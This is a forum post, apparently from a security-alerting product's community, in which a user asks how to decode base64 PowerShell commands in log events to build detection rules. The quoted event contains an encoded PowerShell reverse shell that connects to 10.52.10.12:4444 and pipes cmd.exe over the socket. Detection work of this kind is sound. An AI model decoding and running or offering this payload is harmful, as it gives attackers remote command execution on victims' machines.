Decode base64 data from events

frazvan — Tue, 01 Oct 2019 07:26:55 GMT

Hello, everyone,

Hope to find an answer here.

I am having some events with some base64 encoded data within them. I would like to write a rule which will decode the base64 command, in order to create a more complex alerting rule, based on the content of that base64 command.

Below is an example (Only a small part, the encoded part of the event):

Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc ZgB1AG4AYwB0AGkAbwBuACAAQwBsAGUAYQBuAFUAcAAgAHsACgAJAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsACgAJAAkAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgAJAH0ACgAKAAkAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEMAbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKAAkACQAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAAoACQB9AAoACgAJAGUAeABpAHQACgB9AAoACgAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0AAoAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAKAAnADEAMAAuADUAMgAuADEAMAAuADEAMgAnACwAIAA0ADQANAA0ACkACgAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBuAGUAIAAkAHQAcgB1AGUAKQAgAHsACgAJAEMAbABlAGEAbgBVAHAACgB9AAoACgAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAKACQAYgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQAZQBbAF0AIAAkAGMAbABpAGUAbgB0AC4AUgBlAGMAZQBpAHYAZQBCAHUAZgBmAGUAcgBTAGkAegBlAAoACgAkAHAAcgBvAGMAZQBzAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAYwBtAGQALgBlAHgAZQAnAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0ACAAPQAgADEACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACAAPQAgADAACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAAoACgAkAGkAbgBwAHUAdABTAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AAoAJABvAHUAdABwAHUAdABTAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQACgAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADEACgAKACQAZQBuAGMAbwBkAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAHMAYwBpAGkARQBuAGMAbwBkAGkAbgBnAAoACgB3AGgAaQBsAGUAIAAoACQAbwB1AHQAcAB1AHQAUwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAIAB7AAoACQAkAG8AdQB0AHAAdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAUwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAAoAfQAKAAoAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvAHUAdABwAHUAdAApACwAIAAwACwAIAAkAG8AdQB0AHAAdQB0AC4ATABlAG4AZwB0AGgAKQAKAAoAJABvAHUAdABwAHUAdAAgAD0AIAAkAG4AdQBsAGwACgAKAHcAaABpAGwAZQAgACgAJAB0AHIAdQBlACkAIAB7AAoACQBpAGYAIAAoACQAYwBsAGkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AAoACQAJAEMAbABlAGEAbgBVAHAACgAJAH0ACgAKAAkAJABwAG8AcwAgAD0AIAAwAAoACQAkAGkAIAA9ACAAMQAKAAoACQB3AGgAaQBsAGUAIAAoACgAJABpACAALQBnAHQAIAAwACkAIAAtAGEAbgBkACAAKAAkAHAAbwBzACAALQBsAHQAIAAkAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewAKAAkACQAkAHIAZQBhAGQAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAdQBmAGYAZQByACwAIAAkAHAAbwBzACwAIAAkAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAIAAtACAAJABwAG8AcwApAAoACQAJACQAcABvAHMAIAArAD0AIAAkAHIAZQBhAGQACgAKAAkACQBpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AYgBbADAALgAuACQAKAAkAHAAbwBzAC0AMQApAF0AIAAtAGMAbwBuAHQAYQBpAG4AcwAgADEAMAApACkAIAB7AAoACQAJAAkAYgByAGUAYQBrAAoACQAJAH0ACgAKAAkACQBpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsACgAJAAkACQAkAHMAdAByAGkAbgBnACAAPQAgACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAdQBmAGYAZQByACwAIAAwACwAIAAkAHAAbwBzACkACgAJAAkACQAkAGkAbgBwAHUAdABTAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwB0AHIAaQBuAGcAKQAKAAkACQAJAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADEACgAKAAkACQAJAGkAZgAgACgAJABwAHIAbwBjAGUAcwBzAC4ARQB4AGkAdABDAG8AZABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsACgAJAAkACQAJAEMAbABlAGEAbgBVAHAACgAJAAkACQB9ACAAZQBsAHMAZQAgAHsACgAJAAkACQAJACQAbwB1AHQAcAB1AHQAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAUwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAAoACgAJAAkACQAJAHcAaABpAGwAZQAgACgAJABvAHUAdABwAHUAdABTAHQAcgBlAGEAbQAuAFAAZQBlAGsAKAApACAALQBuAGUAIAAtADEAKQAgAHsACgAJAAkACQAJAAkAJABvAHUAdABwAHUAdAAgACsAPQAgACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAG8AdQB0AHAAdQB0AFMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACkAKQAKAAoACQAJAAkACQAJAGkAZgAgACgAJABvAHUAdABwAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAKAAkACQAJAAkACQAJACQAbwB1AHQAcAB1AHQAIAA9ACAAJwAnAAoACQAJAAkACQAJAH0ACgAJAAkACQAJAH0ACgAKAAkACQAJAAkAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvAHUAdABwAHUAdAApACwAIAAwACwAIAAkAG8AdQB0AHAAdQB0AC4ATABlAG4AZwB0AGgAKQA7AAoACQAJAAkACQAkAG8AdQB0AHAAdQB0ACAAPQAgACQAbgB1AGwAbAAKAAkACQAJAAkAJABzAHQAcgBpAG4AZwAgAD0AIAAkAG4AdQBsAGwACgAJAAkACQB9AAoACQAJAH0AIABlAGwAcwBlACAAewAKAAkACQAJAEMAbABlAGEAbgBVAHAACgAJAAkAfQAKAAkAfQAKAH0ACgA=

I would like to have a rule which will decode the encoded data in order to create the final alerting rule.

I am curious, how you can accomplish that?

Many thanks in advance!

topic Decode base64 data from events in Alerting

Decode base64 data from events